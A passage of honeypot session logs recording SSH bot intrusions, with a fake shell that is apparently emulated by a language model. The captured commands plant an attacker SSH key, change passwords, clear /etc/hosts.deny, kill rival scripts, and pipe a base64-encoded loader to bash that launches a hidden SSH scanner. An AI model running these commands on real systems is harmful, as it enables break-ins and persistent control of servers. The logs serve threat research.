Processor"},{"seq":9,"at":"2026-08-23T20:57:10.184125+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T20:57:11.056938+00:00","kind":"output","latency_ms":874,"data":" total used free shared buff/cache available\nMem: 15888 1412 9480 52 4995 14152"},{"seq":11,"at":"2026-08-23T20:57:11.363103+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T20:57:12.145568+00:00","kind":"output","latency_ms":782,"data":"-rwxr-xr-x 1 root root 151344 Feb 20 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T20:57:12.452380+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T20:57:12.452868+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T20:57:12.764670+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T20:57:12.766126+00:00","kind":"output","latency_ms":null,"data":" 20:57:12 up 3 days, 17:47, 0 user, load average: 0.3, 0.27, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T20:57:13.064717+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T20:57:13.065273+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T20:57:13.369695+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T20:57:13.371372+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T20:57:13.678161+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T20:57:13.678906+00:00","kind":"output","latency_ms":null,"data":"top - 20:57:13 up 3 days, 17:47, 0 user, load average: 0.3, 0.27, 0.23\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T20:57:13.982407+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T20:57:13.983050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T20:57:14.289468+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T20:57:14.291066+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T20:57:14.596324+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T20:57:14.596989+00:00","kind":"output","latency_ms":null,"data":"m1"},{"seq":29,"at":"2026-08-23T20:57:14.905244+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T20:57:17.109568+00:00","kind":"output","latency_ms":2205,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T20:57:17.415513+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T20:57:18.236578+00:00","kind":"output","latency_ms":821,"data":"26G"},{"seq":33,"at":"2026-08-23T20:57:19.284262+00:00","kind":"input","latency_ms":null,"data":"echo \"m1 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T20:57:19.590039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T20:57:20.259941+00:00","kind":"output","latency_ms":671,"data":""},{"seq":36,"at":"2026-08-23T20:57:20.640576+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T20:57:21.340884+00:00","kind":"output","latency_ms":699,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":38,"at":"2026-08-23T20:57:21.648400+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T20:57:22.276529+00:00","kind":"output","latency_ms":628,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":40,"at":"2026-08-23T20:57:22.582417+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T20:57:22.888111+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T20:57:23.813445+00:00","kind":"output","latency_ms":924,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":43,"at":"2026-08-23T20:57:24.120083+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T20:57:24.777783+00:00","kind":"output","latency_ms":658,"data":"uuid=4f6a9c0b-2b5d-4f48-9d11-7f0b7b4e1d2c\nremote=203.0.113.1\nts=2026-08-23T20:56:11Z"},{"seq":45,"at":"2026-08-23T20:57:25.086059+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T20:57:25.538210+00:00","kind":"output","latency_ms":451,"data":""},{"seq":47,"at":"2026-08-23T20:57:33.355097+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-23T20:57:33.358082+00:00","kind":"output","latency_ms":null,"data":"m1"}],"credentials":[{"username":"m1","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"c986bc7c-a71c-45d6-a6b2-7f701a5e2d8a","name":"obsidian-brazen-dotterel","protocol":"ssh","channel_kind":"exec","src_ip":"182.93.50.90","src_port":51184,"username":"hunter","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":663,"probe_flagged":1,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T19:46:32.384549+00:00","ended_at":"2026-08-23T19:46:32.585281+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4587,"events":[{"seq":1,"at":"2026-08-23T19:45:39.313959+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T19:45:39.978497+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T19:45:45.039786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T19:45:45.042197+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T19:45:45.713715+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\nKTVY8zkQ8Ptd\\nKTVY8zkQ8Ptd\"|passwd|bash"},{"seq":6,"at":"2026-08-23T19:45:46.376433+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\nKTVY8zkQ8Ptd\\nKTVY8zkQ8Ptd\\n\"|passwd"},{"seq":7,"at":"2026-08-23T19:45:47.035766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T19:45:47.037269+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T19:45:47.706129+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-23T19:45:48.278062+00:00","kind":"output","latency_ms":573,"data":"15888 2145 12743 37 264 6575"},{"seq":11,"at":"2026-08-23T19:45:48.945199+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-23T19:45:49.760771+00:00","kind":"output","latency_ms":816,"data":"-rwxr-xr-x 1 root root 148K Apr 9 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-23T19:45:50.447319+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-23T19:45:50.447889+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T19:45:51.108389+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-23T19:45:51.108967+00:00","kind":"output","latency_ms":null,"data":" 19:45:51 up 3 days, 16:35, 0 user, load average: 0.3, 0.27, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-23T19:45:51.774081+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-23T19:45:51.775201+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-23T19:45:52.443086+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-23T19:45:52.443912+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-23T19:45:53.101713+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-23T19:45:53.102944+00:00","kind":"output","latency_ms":null,"data":"top - 19:45:53 up 3 days, 16:36, 0 user, load average: 0.3, 0.27, 0.27\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-23T19:45:53.766386+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-23T19:45:53.768064+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-23T19:45:54.426360+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-23T19:45:54.428090+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-23T19:45:55.087913+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-23T19:45:55.089262+00:00","kind":"output","latency_ms":null,"data":"hunter"},{"seq":29,"at":"2026-08-23T19:45:55.748051+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-23T19:45:56.800036+00:00","kind":"output","latency_ms":1046,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-23T19:45:57.463368+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-23T19:45:57.914222+00:00","kind":"output","latency_ms":449,"data":"25G"},{"seq":33,"at":"2026-08-23T19:46:00.088610+00:00","kind":"input","latency_ms":null,"data":"echo \"hunter 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-23T19:46:00.760525+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-23T19:46:01.162443+00:00","kind":"output","latency_ms":401,"data":""},{"seq":36,"at":"2026-08-23T19:46:03.103778+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-23T19:46:03.611111+00:00","kind":"output","latency_ms":507,"data":"-bash: cat: command not found"},{"seq":38,"at":"2026-08-23T19:46:04.271710+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-23T19:46:04.718447+00:00","kind":"output","latency_ms":447,"data":"bash: cat: command not found"},{"seq":40,"at":"2026-08-23T19:46:05.380891+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-23T19:46:06.044456+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T19:46:06.740061+00:00","kind":"output","latency_ms":695,"data":"1"},{"seq":43,"at":"2026-08-23T19:46:07.402374+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-23T19:46:07.848194+00:00","kind":"output","latency_ms":445,"data":"1"},{"seq":45,"at":"2026-08-23T19:46:08.509372+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-23T19:46:09.162303+00:00","kind":"probe","latency_ms":null,"data":"model broke character on: sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T19:46:09.175750+00:00","kind":"output","latency_ms":652,"data":""},{"seq":48,"at":"2026-08-23T19:46:32.389175+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T19:46:32.391412+00:00","kind":"output","latency_ms":null,"data":"hunter"}],"credentials":[{"username":"hunter","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"35cfb8eb-0bf7-4f3c-8e82-7bc92dacb0f0","name":"steady-cheerful-ibis","protocol":"ssh","channel_kind":"exec","src_ip":"87.106.63.76","src_port":35932,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":273,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-23T19:03:55.913807+00:00","ended_at":"2026-08-23T19:03:55.985138+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3961,"events":[{"seq":1,"at":"2026-08-23T19:03:28.986930+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-23T19:03:29.262068+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-23T19:03:32.820071+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-23T19:03:32.821398+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-23T19:03:33.091099+00:00","kind":"input","latency_ms":null,"data":"echo \"root:YJeXXRtXmcNg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-23T19:03:33.362532+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-23T19:03:33.633530+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-23T19:03:33.635997+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-23T19:03:33.661100+00:00","kind":"output","latency_ms":570,"data":""},{"seq":10,"at":"2026-08-23T19:03:33.906392+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-23T19:03:34.563171+00:00","kind":"output","latency_ms":657,"data":"15888 3921 11967 102 0 0"},{"seq":12,"at":"2026-08-23T19:03:34.837132+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-23T19:03:35.645799+00:00","kind":"output","latency_ms":814,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /bin/ls"},{"seq":14,"at":"2026-08-23T19:03:35.919464+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-23T19:03:35.921396+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-23T19:03:36.191386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-23T19:03:36.193069+00:00","kind":"output","latency_ms":null,"data":" 19:03:36 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-23T19:03:36.489379+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-23T19:03:36.493077+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-23T19:03:36.785302+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-23T19:03:36.788087+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-23T19:03:37.061291+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-23T19:03:37.063259+00:00","kind":"output","latency_ms":null,"data":"top - 19:03:37 up 3 days, 15:53, 0 user, load average: 0.3, 0.21, 0.31\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-23T19:03:37.333365+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-23T19:03:37.337069+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-23T19:03:37.610721+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-23T19:03:37.613063+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-23T19:03:37.885107+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-23T19:03:37.887323+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-23T19:03:38.161099+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-23T19:03:40.046170+00:00","kind":"output","latency_ms":1885,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-23T19:03:40.321074+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-23T19:03:41.030143+00:00","kind":"output","latency_ms":710,"data":"24G"},{"seq":34,"at":"2026-08-23T19:03:41.907432+00:00","kind":"input","latency_ms":null,"data":"echo \"root jimmy123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-23T19:03:42.184515+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-23T19:03:42.962138+00:00","kind":"output","latency_ms":778,"data":""},{"seq":37,"at":"2026-08-23T19:03:43.115424+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-23T19:03:43.640319+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-23T19:03:43.914888+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-23T19:03:44.438516+00:00","kind":"output","latency_ms":525,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-23T19:03:44.714095+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-23T19:03:44.984079+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-23T19:03:45.544151+00:00","kind":"output","latency_ms":560,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-23T19:03:45.817925+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-23T19:03:47.404749+00:00","kind":"output","latency_ms":1588,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-23T19:03:47.684221+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 